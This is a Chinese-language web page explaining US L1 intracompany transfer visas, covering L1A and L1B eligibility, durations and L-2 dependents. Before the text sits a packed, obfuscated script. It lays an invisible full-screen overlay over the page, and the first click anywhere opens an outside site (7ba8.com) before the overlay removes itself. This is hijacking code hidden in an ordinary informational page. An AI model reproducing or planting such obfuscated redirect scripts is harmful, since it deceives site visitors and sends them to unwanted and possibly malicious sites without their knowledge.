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<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script>L1签证（即公司内部员工调动签证）情形适用于希望将其国外实体的雇员调至美国母公司、子公司、附属公司、或分支机构工作的公司。签证可以颁发给董事，经理或者公司专门技术的雇工让他们在美国的公司分部工作。申请人在过去的3年当中必须在国外的公司分部工作过1年以上。董事和经理的L1签证有效期为1年，可以延长至7年并且申请绿卡。专业技术雇员的签证有效期为1年，可以延长至5年并且在签证过期以后可以转换为H-1B签证。配偶及21岁以下的孩子可以申请得到L-2签证并且允许合法工作。L1签证包括两类：针对高级主管或管理人员的L1A签证和针对专业技术雇员的L1B签证。经理可以是人事经理也可以是业务经理。所谓人事经理的主要职责是管理和监督其他高级员工。这里的经理和我们日常意义上的“经理”有些出入。管理性的经理是管理高级员工，而不是处理第一线的基本事务，所谓高级员工是指一些有管理职责、专业技能的员工。往往管理性的经理也有雇佣和解雇其他员工，或处理其他人事问题的权力。一般而言，经公司内部调动的员工一般不需要证明他们持有相当于美国学士学位的学历即有资格申请此类签证。但是，如果希望将外国雇员调至美国担任临时岗位的，该公司必须向美国公民和移民服务局提交文件以证明该雇员具备申请上述两种签证之一的资格。首次向美国公民和移民服务局申请L1签证的雇员，其签证有效期为1年。 |
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